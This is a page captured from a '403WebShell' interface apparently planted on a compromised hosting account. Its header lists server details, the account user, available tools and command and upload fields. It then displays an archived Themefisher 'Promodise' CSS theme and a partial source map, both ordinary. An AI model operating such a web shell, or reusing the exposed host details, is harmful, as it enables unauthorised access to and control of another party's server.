Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.35
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/123click/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/123click/assets/css1.tar
style.css000060400000062771150747453300006437 0ustar00/*=== MEDIA QUERY ===*/
/*
* ----------------------------------------------------------------------------------------
Author       : Themefisher
Template Name: Promodise
Version      : 1.0
* ----------------------------------------------------------------------------------------
*/
/*
* ----------------------------------------------------------------------------------------
* 01.GLOBAL CSS STYLE
* 02.PRELOADER & BOUNCE CCS STYLE
* 03.HOMEPAGE CSS STYLE
    -LOGO CSS
    -MENU CSS
* 04.ABOUT CSS STYLE
* 05.SERVICE CSS STYLE
* 06.WORK CSS STYLE
* 07.AVAILABLE CSS STYLE
* 08.CONTACT CSS STYLE
* 09.FOOTER CSS STYLE
* ----------------------------------------------------------------------------------------
*/
/*
* ----------------------------------------------------------------------------------------
* 01.GLOBAL STYLE
* ----------------------------------------------------------------------------------------
*/
@import url("https://fonts.googleapis.com/css?family=Poppins:400,600,700|Rubik:400,600,700");
body {
  font-size: 16px;
  font-weight: 400;
  line-height: 26px;
  font-family: "Rubik", sans-serif;
  color: #788487;
  position: relative;
}

p {
  line-height: 28px;
  font-size: 15px;
}

html {
  overflow-x: hidden !important;
  width: 100%;
  height: 100%;
  position: relative;
  -webkit-font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
}

body {
  border: 0;
  margin: 0;
  padding: 0;
}

h1, .h1,
h2, .h2,
h3, .h3,
h4, .h4,
h5, .h5,
h6, .h6 {
  font-family: "Poppins", sans-serif;
  font-weight: 600;
  margin-bottom: 0px;
  color: #232323;
}

a {
  text-decoration: none;
  transition: all 0.2s;
  color: #000;
}

img {
  max-width: 100%;
}

a:hover {
  color: #635CDB;
  text-decoration: none;
}

a:focus {
  outline: none;
  text-decoration: none;
}

ul,
li {
  margin: 0;
  padding: 0;
  list-style: none;
}

h1 {
  font-size: 48px;
}

h2 {
  font-size: 36px;
}

h3 {
  font-size: 28px;
  line-height: 38px;
}

h4 {
  font-size: 22px;
  line-height: 32px;
}

h5 {
  font-size: 16px;
  line-height: 24px;
}

h6 {
  font-size: 14px;
  line-height: 26px;
}

.f-color {
  color: #635CDB;
}

h5.subtitle {
  font-size: 16px;
  font-weight: 400;
}

.no-padding {
  padding: 0;
}

.flaticon {
  display: inline;
}

.mb30 {
  margin-bottom: 30px;
}

.section-padding {
  padding: 90px 0px;
}

.section-heading {
  text-align: center;
  width: 70%;
  margin: 0 auto 60px;
}

.section-title {
  font-size: 32px;
  line-height: 38px;
  margin-bottom: 15px;
  text-transform: capitalize;
}

.section-title span {
  color: #635CDB;
}

.section {
  padding: 100px 0px;
}

.line {
  width: 50px;
  background: #635CDB;
  height: 1px;
  margin: 10px auto;
}

/*---------- BUTTONS ----------*/
.btn {
  font: 600 10.5px/1;
  display: inline-block;
  padding: 15px 45px 15px 45px;
  text-transform: uppercase;
  border: 2px solid transparent;
  transition: all .2s;
  border-radius: 0px;
  font-weight: 600;
  font-size: 13px;
  letter-spacing: 1px;
}

.btn:focus,
.btn:active,
.btn:active:focus {
  outline: none;
  box-shadow: none;
}

.btn-hero,
.btn-white:hover {
  color: #fff !important;
  background: #635CDB;
}

.btn-hero:focus {
  color: #fff !important;
}

.btn-black,
.btn-hero:hover {
  background-color: black;
  color: #fff !important;
}

.btn-black:hover {
  color: #fff;
  background: #635CDB;
}

.btn-black:focus {
  color: #fff;
}

.btn-white {
  background-color: rgba(255, 255, 255, 0.95);
  color: rgba(0, 0, 0, 0.85);
  border-color: rgba(255, 255, 255, 0.12);
}

.btn-white:focus {
  color: #000;
}

.btn-white:active {
  color: #fff;
}

.btn-trans-black {
  background-color: transparent;
  border: 2px solid rgba(0, 0, 0, 0.15);
  color: rgba(0, 0, 0, 0.85);
}

.btn-trans-black:hover {
  color: white;
  background-color: #000;
}

.btn-trans-white {
  background-color: transparent;
  border: 2px solid rgba(255, 255, 255, 0.15);
  color: rgba(255, 255, 255, 0.95);
}

.btn-trans-white:hover {
  background-color: rgba(255, 255, 255, 0.95);
  color: rgba(0, 0, 0, 0.85);
  border-color: rgba(255, 255, 255, 0.12);
}

.btn-trans-white:active,
.btn-trans-white:focus {
  color: #fff;
  background-color: transparent;
  border-color: rgba(255, 255, 255, 0.12);
}

.btn-rounded {
  border-radius: 2px;
}

.btn-circled {
  border-radius: 40px;
}

.btn-trans-black:hover {
  background: #635CDB !important;
}

/*---------- COLORS ----------*/
/*-- Background Colors --*/
.bg-black {
  background-color: #000;
}

.bg-dark {
  background-color: rgba(0, 0, 0, 0.96);
}

.bg-feature {
  background-color: #635CDB;
}

.bg-primary {
  background-color: #0db8ca;
}

.bg-gray {
  background-color: #f2f4ec;
}

.bg-white {
  background-color: #fff;
}

.d-table {
  width: 100%;
}

.d-table-cell {
  vertical-align: middle;
}

.overlay {
  position: absolute;
  top: 0px;
  left: 0px;
  width: 100%;
  height: 100%;
  background: rgba(0, 0, 0, 0.5);
}

.brown-overlay {
  background: #222955;
  opacity: .97;
}

.feature-overlay {
  background: #635CDB;
  opacity: .97;
}

.gr-overlay {
  background: linear-gradient(135deg, #2f1ce0 0%, #53a0fd 30%, #51eca5 100%);
  opacity: .87;
}

/* ========================

==============================*/
.heading {
  margin-bottom: 40px;
}

.heading h3 {
  margin-bottom: 10px;
  font-weight: 600;
}

/*------------------------------------
  MENU NAVIGATION AREA
----------------------------------*/
.site-navigation,
.trans-navigation {
  padding: 20px 0px;
}

.site-navigation .navbar-nav a,
.trans-navigation .navbar-nav a {
  text-transform: uppercase;
}

.site-navigation .navbar-nav a.active,
.trans-navigation .navbar-nav a.active {
  color: red;
}

.header-white {
  position: fixed;
  top: 0px;
  background: #111;
  z-index: 9999;
  width: 100%;
  left: 0;
  transition: all .5s ease 0s;
  color: #000 !important;
}

.navbar-expand-lg.trans-navigation .navbar-nav .nav-link,
.navbar-expand-lg.site-navigation .navbar-nav .nav-link {
  padding: 0px 24px;
}

.navbar-expand-lg.trans-navigation .navbar-nav .nav-link:last-child,
.navbar-expand-lg.site-navigation .navbar-nav .nav-link:last-child {
  padding-right: 0px;
}

.site-navigation,
.trans-navigation {
  transition: all .5s ease 0s;
}

.navbar-brand {
  padding-top: 0px;
  margin-right: 60px;
  font-weight: 700;
  text-transform: capitalize;
  color: #fff;
}

.navbar-brand span {
  font-weight: 400;
}

.navbar-expand-lg.trans-navigation .navbar-nav .nav-link {
  color: #fff;
}

.trans-navigation {
  background: transparent;
}

.trans-navigation.header-white {
  background: #111;
}

.trans-navigation.header-white .navbar-nav .nav-link {
  color: #fff;
}

.trans-navigation.header-white .navbar-nav a.active {
  color: #635CDB;
}

.navbar-brand img {
  max-width: 100%;
}

.trans-navigation.header-white .btn-white {
  background: #635CDB;
  color: #fff;
}

/* ===============================
 DROPDOWN MENU
================================*/
.navbar-expand-lg.trans-navigation .navbar-nav .nav-link.dropdown-toggle {
  padding-right: 0px;
}

.nav-item.dropdown .dropdown-menu {
  transition: all 300ms ease;
  display: block;
  visibility: hidden;
  opacity: 0;
  top: 120%;
  box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05);
  border: 0px;
  padding: 0px;
  position: absolute;
}

.nav-item.dropdown:hover .dropdown-menu {
  opacity: 1;
  visibility: visible;
  top: 100%;
}

.dropdown-item:hover {
  color: #fff;
  text-decoration: none;
  background-color: #635CDB;
}

.dropdown-toggle::after {
  display: none;
}

.dropdown-menu {
  opacity: 0;
}

.dropdown-menu.show {
  -webkit-animation: .2s forwards b;
          animation: .2s forwards b;
}

@-webkit-keyframes b {
  to {
    opacity: 1;
  }
}

@keyframes b {
  to {
    opacity: 1;
  }
}

.dropdown-item {
  font-size: .6875rem;
  font-weight: 500;
  padding-top: .5rem;
  padding-bottom: .5rem;
  transition: background-color .1s;
  text-transform: uppercase;
}

@media (min-width: 1200px) {
  .dropdown-item {
    padding-top: .75rem;
    padding-bottom: .75rem;
  }
}

@media (min-width: 1200px) {
  .dropdown-item + .dropdown-item {
    border-top: 1px solid rgba(0, 0, 0, 0.1);
  }
}

/*------------------------------------
 BANNER AREA
----------------------------------*/
.banner-area .content-padding {
  padding: 250px 0px 180px;
}

.content-padding {
  padding: 180px 0px 80px;
}

.banner-content {
  padding-right: 30px;
}

.banner-content .btn {
  margin-top: 15px;
}

.banner-content .banner-title {
  color: #fff;
  font-weight: 700;
  line-height: 50px;
}

.banner-content .subtitle {
  color: #fff;
  background: #635CDB;
  display: inline-block;
  padding: 3px 8px;
  margin-bottom: 20px;
  text-transform: uppercase;
}

.subtitle {
  color: #635CDB;
}

.banner-content p {
  margin: 20px 0px;
  color: #eee;
  font-size: 18px;
  line-height: 30px;
}

.banner-content .btn {
  margin-right: 12px;
}

.btn-sm {
  padding: 10px 30px;
}

.banner-1 {
  background: url("../images/banner/bg-2.jpg");
  background-size: cover;
  position: relative;
}

.banner-2 {
  background: url("../images/banner/slider-3.jpg");
  background-size: cover;
  position: relative;
}

.banner-3 {
  background: url("../images/banner/banner-bg.jpg");
  background-size: cover;
  position: relative;
}

.section-heading h2 {
  margin-bottom: 20px;
  font-weight: 400;
}

/* =======================================
INner Pages
=========================================*/
#page-banner {
  position: relative;
  padding: 60px 0px 80px;
}

.page-banner-area {
  background: url("../images/banner/1.jpg") no-repeat 50% 50%;
  background-size: cover;
}

/*-------------------- ------------
 INTRO SECTION
-----------------------------*/
#intro {
  padding-bottom: 0px;
}

.intro-img {
  margin-top: 45px;
}

#intro .section-heading p {
  color: #000;
  font-size: 30px;
  line-height: 40px;
}

.intro-box {
  margin-top: 30px;
  position: relative;
  margin-bottom: 20px;
}

.intro-box h4:before {
  position: absolute;
  left: 0px;
  top: 17px;
  content: "";
  bottom: 0px;
  background: #000;
  width: 50px;
  height: 2px;
}

.intro-box h4 {
  text-transform: uppercase;
  margin-bottom: 15px;
  position: relative;
  padding-left: 60px;
}

.intro-box span {
  font-size: 28px;
  color: #635CDB;
}

.intro-cta {
  margin-top: 40px;
}

/*--------------------------
  ABOUT SECTION
----------------------*/
.section-pt {
  padding-top: 90px;
}

.section-pb {
  padding-bottom: 90px;
}

#about {
  position: relative;
  padding-bottom: 85px;
}

.about-bg-img {
  position: absolute;
  right: 0px;
  content: "";
  background: url("../images/banner/1.jpg") 50% 50%;
  width: 40%;
  height: 100%;
  max-height: 560px;
  top: 0px;
  box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);
}

.about-content {
  margin-top: 94px;
}

.about-content .subtitle {
  margin-bottom: 20px;
  text-transform: uppercase;
}

.about-content h3 {
  margin-bottom: 25px;
}

.about-list {
  margin-top: 30px;
}

.about-list li {
  width: 45%;
  float: left;
  margin-bottom: 15px;
  margin-right: 15px;
  color: #888;
}

.about-list li i {
  color: #000;
  margin-right: 10px;
}

/* ----------------------
ABOUT PAGE
-------------------------*/
.about-list2 li i {
  margin-right: 10px;
  color: #635CDB;
}

.icon-3x {
  font-size: 3rem;
}

.text-default {
  color: #635CDB;
}

.team-social li a {
  font-size: 13px;
  width: 30px;
  height: 30px;
  text-align: center;
  border: 1px solid #fff;
  display: inline-block;
  padding-top: 3px;
  background: #fff;
}

/* ========================
HISTORY MISSION
==============================*/
.img-block img {
  width: 200px;
}

/* ========================

==============================*/
#section-strategy {
  background: url("../images/bg/bg-1.jpg") 50% 50% no-repeat;
  background-size: cover;
}

.strategy-text {
  margin-bottom: 50px;
}

.strategy-text h4 {
  font-size: 18px;
  margin-bottom: 10px;
  font-weight: 600;
}

.strategy-text span {
  font-size: 61px;
  color: #635CDB;
  margin-bottom: 15px;
  display: block;
}

/*--------------------------------
 COUNTER SECTION
-----------------------------*/
.counter {
  font-size: 60px;
  line-height: 60px;
  font-weight: 700;
  line-height: 70px;
  margin: 10px 0px;
  color: #635CDB;
}

.counter-stat i {
  font-size: 40px;
  color: #fff;
  margin-right: 10px;
}

.counter-stat h5 {
  font-weight: 400;
  text-transform: uppercase;
  color: #fff;
}

.counter-block span {
  font-size: 30px;
}

#counter .dark-overlay {
  background: #000;
  opacity: 0.95;
}

#counter {
  background: url("../images/banner/pattern-3.png") fixed 50% 50%;
  position: relative;
  background-size: cover;
  padding-top: 87px;
  padding-bottom: 95px;
}

/*--------------------------
  SERVICE AREA SECTION
----------------------*/
.page-banner-area.page-service {
  background: url("../images/bg/bg-2.jpg") no-repeat;
  background-size: cover;
}

#service-head {
  padding-bottom: 100px;
  padding-top: 90px;
}

#service-head .section-title {
  color: #fff;
}

.text-white p {
  color: #fff;
}

#service {
  margin-top: -100px;
  padding-bottom: 70px;
}

.service-box .service-img-icon {
  width: 100px;
  height: 100px;
  text-align: center;
  background: #fff;
  padding-top: 20px;
  margin: 0 auto;
  border-radius: 100%;
  margin-bottom: 20px;
  background: #635CDB;
  border: 1px solid rgba(255, 255, 255, 0.2);
  color: #fff;
}

.service-box {
  margin-bottom: 40px;
  background: #fff;
  text-align: center;
  padding: 45px 25px 30px 25px;
  border: 1px solid transparent;
  transition: all .3s ease 0s;
  border-radius: 5px;
  box-shadow: 0px 2px 6px rgba(0, 0, 0, 0.1);
}

.service-inner {
  margin-top: 30px;
}

.service-inner h4 {
  margin-bottom: 20px;
}

.service-inner span {
  color: #635CDB;
}

/* ================================
SERVICE PAGE
==============================*/
.bg-gray {
  background: #f4f4f4;
}

.service-block-2 {
  position: relative;
}

.service-block-2 h4 {
  margin-bottom: 15px;
  line-height: 26px;
}

.service-block-2 p {
  font-size: 16px;
}

.service-block-2 span {
  position: absolute;
  content: "";
  font-size: 70px;
  top: 0px;
  left: 0px;
  font-weight: 800;
  opacity: .05;
  margin-top: -15px;
}

.service-style-two {
  background: url("../images/bg/bg-2.jpg") no-repeat;
  background-size: cover;
  position: relative;
}

.service-style-two:before {
  position: absolute;
  content: "";
  left: 0px;
  top: 0px;
  height: 100%;
  width: 100%;
  background: rgba(0, 0, 0, 0.6);
}

.heading {
  margin-bottom: 70px;
}

/*------------------------------------
  PRICING SECTION AREA
--------------------------------*/
#pricing {
  padding-bottom: 100px;
}

.pricing-block {
  text-align: center;
  transition: all .3s 0s ease;
  border-radius: 5px;
  border: 1px solid #eee;
}

.price-header {
  padding-bottom: 30px;
  padding-top: 30px;
}

.price-header i {
  width: 100px;
  height: 100px;
  text-align: center;
  padding-top: 25px;
  font-size: 50px;
  display: inline-block;
  border-radius: 100%;
  transition: all .3s ease 0s;
  color: #635CDB;
  border: 1px solid #eee;
}

.price-header .price {
  font-size: 70px;
  margin-top: 40px;
  margin-bottom: 0px;
}

.price-header h5 {
  font-weight: 400;
}

.price-header .price small {
  font-size: 18px;
}

.pricing-block ul {
  padding: 20px 20px;
  margin-bottom: 30px;
  border-bottom: 1px solid #eee;
}

.pricing-block ul li {
  padding: 6px 0px;
}

.pricing-block .btn {
  margin-bottom: 30px;
}

.pricing-block:hover i {
  background-image: -webkit-linear-gradient(135deg, #2f1ce0 0%, #53a0fd 50%, #51eca5 100%);
  background-iamge: -linear-gradient(135deg, #2f1ce0 0%, #53a0fd 50%, #51eca5 100%);
  color: #fff;
  border: 1px solid #53a0fd;
}

.pricing-block:hover,
.pricing-block.active {
  background: #fff;
  box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);
}

#pricing .section-heading {
  margin-bottom: 90px;
}

/* -------------------
PRICING PAGE
--------------------*/
#section-counter .counter-stat i {
  color: #000;
}

#section-counter .counter-stat h5 {
  color: #777;
}

/*------------------------------------
  CLIENT PARTNER AREA SECTION
--------------------------------*/
#clients {
  padding-top: 75px;
  padding-bottom: 80px;
  position: relative;
}

.client-img {
  background: #fff;
}

/*------------------------------------
  TESTIMONIAL AREA SECTION
---------------------------------*/


/*--------------------------
 CONTACT SECTION AREA
----------------------*/
#contact {
  padding-bottom: 100px;
}

.text-color {
  color: #635CDB;
}

input[type=text], input[type=email] {
  height: 50px;
}

.form-control {
  border: 1px solid #eee;
  padding-left: 20px;
}

.form-control:hover,
.form-control:focus {
  box-shadow: 0px 5px 35px 0px rgba(148, 146, 245, 0.15);
}

.input:focus {
  outline: none;
}

.form-control::-webkit-input-placeholder {
  color: #888;
  opacity: .9;
  font-size: 13px;
  padding-left: 10px;
}

.form-control::-moz-placeholder {
  color: #888;
  opacity: .9;
  font-size: 13px;
  padding-left: 10px;
}

.form-control:-ms-input-placeholder {
  color: #888;
  opacity: .9;
  font-size: 13px;
  padding-left: 10px;
}

.form-control:-moz-placeholder {
  color: #888;
  opacity: .9;
  font-size: 13px;
  padding-left: 10px;
}

/* --------------
    MAP
-----------------*/
#map {
  height: 400px;
  width: 100%;
  position: relative;
}

#map:after {
  position: absolute;
  content: "";
  left: 0px;
  background: rgba(99, 92, 219, 0.4);
  top: 0px;
  width: 100%;
  height: 100%;
}

/*--------------------------
 BLOG SECTION AREA
----------------------*/
#blog {
  padding-bottom: 55px;
}

.blog-block {
  overflow: hidden;
  transition: all .3s ease 0s;
}

.blog-block img {
  margin-bottom: 10px;
}

.blog-text {
  padding: 20px;
}

.blog-text .author-name {
  font-weight: 400;
}

.blog-text .author-name span {
  margin-right: 10px;
  font-weight: 600;
}

.blog-block .read-more,
.blog-block span {
  color: #635CDB;
}

/* =================================
BLOG PAGE
===================================*/
.blog-post {
  margin-bottom: 50px;
}

.blog-post img {
  border-radius: 5px;
}

.blog-post .post-author i,
.blog-post .post-info i {
  margin-right: 5px;
  font-size: 14px;
}

.blog-post .post-author span, .blog-post .post-info span {
  font-size: 14px;
}

.sidebar-widget {
  margin-bottom: 40px;
  padding-left: 20px;
}

.category ul li {
  margin-bottom: 10px;
  text-transform: capitalize;
  position: relative;
  padding-left: 20px;
  border-bottom: 1px solid #eee;
  padding-bottom: 10px;
}

.category ul li:before {
  position: absolute;
  content: "\f105";
  left: 0px;
  top: 0px;
  font-family: "Font Awesome 5 Free";
  color: #635CDB;
  font-weight: 900;
}

.tag a {
  text-transform: capitalize;
  padding: 5px 8px;
  border: 1px solid #eee;
  margin-bottom: 5px;
  font-size: 14px;
  display: inline-block;
}

.search i {
  position: absolute;
  right: 0px;
  top: 0px;
  margin-right: 35px;
  margin-top: 15px;
  color: #635CDB;
}

.download a {
  display: block;
  padding: 12px 20px;
  border: 1px solid #eee;
  margin-bottom: 10px;
  background: #f2f2f2;
}

.download a i {
  margin-right: 15px;
  color: #635CDB;
}

/* ==================================
BLOG SINGLE
=====================================*/
.quote i {
  font-size: 50px;
  margin-right: 10px;
  position: absolute;
  left: 0px;
}

.quote {
  font-size: 18px;
  line-height: 32px;
  color: #222;
  position: relative;
  margin: 50px 0px;
  padding-left: 70px;
}

.comments img {
  width: 80px;
  height: 80px;
}

/*--------------------------
 FOOTER
----------------------*/
#footer {
  padding-bottom: 60px;
  position: relative;
  background: url("../images/bg/2.png");
  border-top: 1px solid #eee;
}

.footer-widget ul li {
  padding: 5px 0px;
}

.footer-widget p {
  margin-bottom: 5px;
}

.footer-widget h4 {
  margin-bottom: 20px;
}

.footer-widget h4 span {
  color: #635CDB;
  display: block;
  font-size: 60px;
  line-height: 60px;
}

.footer-blog li img {
  width: 70px;
  height: 70px;
  float: left;
  margin-right: 20px;
}

.footer-blog li h5 {
  margin-bottom: 10px;
  font-size: 16px;
  line-height: 22px;
  text-transform: capitalize;
}

.footer-blog li a.read-more {
  font-size: 13px;
}

.footer-blog li {
  margin-bottom: 15px;
}

.footer-copy {
  letter-spacing: 1px;
  padding-top: 30px;
  margin-top: 30px;
  border-top: 1px solid #eee;
}

.footer-text h6 {
  margin-bottom: 10px;
}

.footer-text p span {
  color: #000;
}

.footer-text p.mail {
  color: #635CDB;
}

.bg-main {
  background: #F4F8FB;
}

.footer-widget a {
  color: #999;
}

/*-------------------------------
 RESPONSIVE LAYOUT
---------------------------------*/
/*Extra large devices (large desktops, 1200px and up)*/
/*Large devices (desktops, 992px and up)*/
/*Medium devices (tablets, 768px and up)*/
/*Medium devices (tablets, 768px and up)*/
@media (min-width: 768px) and (max-width: 991.98px) {
  /*---------------
     NAVIGATION
    ----------------*/
  .navbar-toggler {
    background: #fff;
    border-radius: 0px;
  }
  .navbar-toggler-icon {
    height: auto;
    padding: 10px 0px;
  }
  .trans-navigation {
    background: #232323;
  }
  .navbar-expand-lg.trans-navigation .navbar-nav .nav-link {
    margin-bottom: 10px;
  }
  /*----------------------
     SECTION HEAINDG
    -----------------------*/
  .section-heading {
    width: 100%;
  }
  /*----------------
     INTRO
    ----------------*/
  #intro {
    padding-bottom: 90px;
  }
  /*----------------
     ABOUT
    ----------------*/
  .about-list li {
    float: none;
    width: 100%;
    margin-bottom: 10px;
  }
  .about-bg-img {
    width: 35%;
    height: 100%;
    max-height: 600px;
  }
  .about-content {
    margin-top: 60px;
  }
  #about {
    padding-bottom: 40px;
  }
  /*--------------
     COUNTER
    ----------------*/
  .counter-stat {
    margin-bottom: 30px;
    text-align: center;
  }
  /*--------------
     BLOG
    ----------------*/
  .blog-text {
    padding: 0px;
    margin-top: 10px;
  }
  .blog-tex h5 {
    font-size: 15px;
  }
  .blog-text p {
    font-size: 14px;
  }
  .pricing-block {
    margin-bottom: 30px;
  }
  /*--------------
     FOOTER
    ----------------*/
  .footer-widget {
    margin-bottom: 30px;
  }
}

/*Small devices (landscape phones, 576px and up)*/
@media (min-width: 576px) and (max-width: 767.98px) {
  /*---------------
     NAVIGATION
    ----------------*/
  .navbar-toggler {
    background: #fff;
    border-radius: 0px;
  }
  .navbar-toggler-icon {
    height: auto;
    padding: 10px 0px;
  }
  .trans-navigation {
    background: #232323;
  }
  .navbar-expand-lg.trans-navigation .navbar-nav .nav-link {
    margin-bottom: 10px;
  }
  /*----------------------
     SECTION HEAINDG
    -----------------------*/
  .section-heading {
    width: 100%;
  }
  /*----------------
     INTRO
    ----------------*/
  #intro {
    padding-bottom: 90px;
  }
  /*----------------
     ABOUT
    ----------------*/
  .about-content {
    margin-top: 60px;
  }
  #about {
    padding-bottom: 40px;
  }
  /*-------------------
     TESTIMONIAL
    -------------------*/
  .testimonial-content {
    padding: 10px;
  }
  /*--------------
     COUNTER
    ----------------*/
  .counter-stat {
    margin-bottom: 30px;
    text-align: center;
  }
  /*--------------
     BLOG
    ----------------*/
  .blog-block {
    margin-bottom: 30px;
  }
  .blog-text {
    padding: 0px;
    margin-top: 10px;
  }
  .blog-block:hover {
    box-shadow: none;
  }
  .blog-text h5 {
    font-size: 16px;
  }
  .blog-text p {
    font-size: 14px;
  }
  .intro-box {
    margin-top: 0px;
    margin-bottom: 40px;
  }
  /*--------------
     CLIENT
    --------------*/
  .client-img {
    text-align: center;
  }
  /*--------------
     FOOTER
    ----------------*/
  .footer-widget {
    margin-bottom: 30px;
  }
  .pricing-block {
    margin-bottom: 30px;
  }
  .img-block img {
    width: 130px;
  }
}

/* Extra small devices (portrait phones, less than 576px)*/
@media (max-width: 575.98px) {
  /*---------------
     NAVIGATION
    ----------------*/
  .navbar-toggler {
    background: #fff;
    border-radius: 0px;
  }
  .navbar-toggler-icon {
    height: auto;
    padding: 10px 0px;
  }
  .trans-navigation {
    background: #232323;
    padding: 20px 15px;
  }
  .navbar-expand-lg.trans-navigation .navbar-nav .nav-link {
    margin-bottom: 10px;
  }
  /*----------------------
     SECTION HEAINDG
    -----------------------*/
  #intro .section-heading, .section-heading {
    width: 100%;
  }
  #intro .section-heading p {
    font-size: 16px;
    line-height: 28px;
  }
  .section-title {
    font-size: 26px;
    line-height: 36px;
  }
  h1 {
    font-size: 32px;
    line-height: 36px;
  }
  /*--------------------
     BANNER
    -----------------*/
  .banner-content .banner-title {
    line-height: 37px;
  }
  .banner-content p {
    font-size: 16px;
  }
  /*----------------
     INTRO
    ----------------*/
  #intro {
    padding-bottom: 90px;
  }
  /*----------------
     ABOUT
    ----------------*/
  .about-list li {
    float: none;
    width: 100%;
    margin-bottom: 10px;
  }
  .about-bg-img {
    width: 35%;
    height: 100%;
    max-height: 600px;
  }
  .about-content {
    margin-top: 60px;
  }
  #about {
    padding-bottom: 40px;
  }
  .img-block img {
    width: 130px;
  }
  .service-block {
    margin-bottom: 20px;
  }
  /*-------------------
     TESTIMONIAL
    -------------------*/
  .testimonial-content {
    padding: 10px;
  }
  /*--------------
     COUNTER
    ----------------*/
  .counter-stat {
    margin-bottom: 30px;
    text-align: center;
  }
  /*--------------
     BLOG
    ----------------*/
  .blog-block {
    margin-bottom: 30px;
  }
  .blog-text {
    padding: 10px;
    margin-top: 10px;
    text-align: center;
  }
  .blog-tex h5 {
    font-size: 15px;
  }
  .blog-text p {
    font-size: 14px;
  }
  /*--------------
     CLIENT
    --------------*/
  .client-img {
    text-align: center;
  }
  /*--------------
     FOOTER
    ----------------*/
  .footer-widget {
    margin-bottom: 30px;
  }
  .pricing-block {
    margin-bottom: 30px;
  }
}

/*# sourceMappingURL=maps/style.css.map */
maps/style.css.map000060400000233074150747453300010147 0ustar00{"version":3,"sources":["_media-query.scss","_typography.scss","_variables.scss","_common.scss","templates/_navigation.scss","style.css","templates/_slider.scss","templates/_backgrounds.scss","templates/_intro.scss","templates/_about.scss","templates/_counter.scss","templates/_service.scss","templates/_pricing.scss","templates/_testimonial.scss","templates/_contact.scss","templates/_blog.scss","templates/_footer.scss","_responsive.scss"],"names":[],"mappings":"AAAA,uBAAuB;ACAvB;;;;;;EAME;AAEF;;;;;;;;;;;;;;EAcE;AAEF;;;;EAIE;AACF,6FAAY;AAGZ;EACI,gBAAe;EACf,iBAAgB;EAChB,kBAAiB;EACjB,iCC5B+B;ED6B/B,eAAc;EACd,mBAAkB;CACrB;;AAED;EACI,kBAAiB;EACjB,gBAAe;CAClB;;AAED;EACI,8BAA6B;EAC7B,YAAW;EACX,aAAY;EACZ,mBAAkB;EAClB,oCAAmC;EACnC,mCAAkC;CACrC;;AAED;EACI,UAAS;EACT,UAAS;EACT,WAAU;CACb;;AAED;;;;;;EAMI,mCC5D+B;ED6D/B,iBAAgB;EAChB,mBAAkB;EAClB,eClEiB;CDmEpB;;AAED;EACI,sBAAqB;EAGrB,qBAAoB;EACpB,YC3EQ;CD4EX;;AAED;EACI,gBAAe;CAClB;;AAED;EACI,eAAc;EACd,sBAAqB;CACxB;;AAED;EACI,cAAa;EACb,sBAAqB;CACxB;;AAED;;EAEI,UAAS;EACT,WAAU;EACV,iBAAgB;CACnB;;AAKD;EACI,gBAAe;CAClB;;AAED;EACI,gBAAe;CAClB;;AAED;EACI,gBAAe;EACf,kBAAiB;CACpB;;AAED;EACI,gBAAe;EACf,kBAAiB;CACpB;;AAED;EACI,gBAAe;EACf,kBAAiB;CACpB;;AAED;EACI,gBAAe;EACf,kBAAiB;CACpB;;AAGD;EACI,eAAc;CACjB;;AAED;EACI,gBAAe;EACf,iBAAgB;CACnB;;AE5ID;EACI,WAAU;CACb;;AAED;EACI,gBAAe;CAClB;;AAED;EACI,oBAAmB;CACtB;;AAED;EACI,kBAAiB;CACpB;;AAED;EACI,mBAAkB;EAClB,WAAU;EACV,oBAAmB;CACtB;;AAED;EACI,gBAAe;EACf,kBAAiB;EACjB,oBAAmB;EACnB,2BACJ;CAAC;;AAED;EACI,eAAc;CACjB;;AACD;EACI,mBAAkB;CACrB;;AAGD;EACI,YAAW;EACX,oBAAmB;EACnB,YAAW;EACX,kBAAiB;CACpB;;AAKD,iCAAiC;AAEjC;EACI,mBAAkB;EAClB,sBAAqB;EACrB,6BAA4B;EAC5B,0BAAyB;EACzB,8BAA6B;EAE7B,oBAAmB;EACnB,mBAAkB;EAClB,iBAAgB;EAChB,gBAAe;EACf,oBAAmB;CACtB;;AAED;;;EAGI,cAAa;EACb,iBAAgB;CACnB;;AAED;;EAEI,uBAAsB;EACtB,oBAAmB;CACtB;;AAED;EACI,uBAAsB;CACzB;;AAED;;EAEI,wBAAkC;EAClC,uBAAsB;CACzB;;AAED;EACI,YAAW;EACX,oBAAmB;CACtB;;AAED;EACI,YAAW;CACd;;AAED;EACI,4CAA0C;EAC1C,2BAAyB;EACzB,wCAAsC;CACzC;;AAED;EACI,YAAW;CACd;;AAED;EACI,YAAW;CACd;;AAED;EACI,8BAA6B;EAC7B,sCAAoC;EACpC,2BAAyB;CAC5B;;AAED;EACI,aAA6B;EAC7B,uBAAsB;CACzB;;AAED;EACI,8BAA6B;EAC7B,4CAA0C;EAC1C,iCAA+B;CAClC;;AAED;EACI,4CAA0C;EAC1C,2BAAyB;EACzB,wCAAsC;CACzC;;AAED;;EAEI,YAAW;EACX,8BAA6B;EAC7B,wCAAsC;CACzC;;AAED;EACI,mBAAkB;CACrB;;AAED;EACI,oBAAmB;CACtB;;AAGD;EACI,+BAA6B;CAChC;;AAID,gCAAgC;AAEhC,2BAA2B;AAE3B;EACI,uBAAsB;CACzB;;AAED;EACI,sCAAoC;CACvC;;AAED;EACI,0BAAyB;CAC5B;;AAED;EACI,0BAAyB;CAC5B;;AAED;EACI,0BAAyB;CAC5B;;AAED;EACI,uBAAsB;CACzB;;AAGD;EACI,YAAW;CACd;;AAGD;EACI,uBAAsB;CACzB;;AAGD;EACI,mBAAkB;EAClB,SAAQ;EACR,UAAS;EACT,YAAW;EACX,aAAY;EACZ,+BAA8B;CACjC;;AAED;EACI,oBAAmB;EACnB,aAA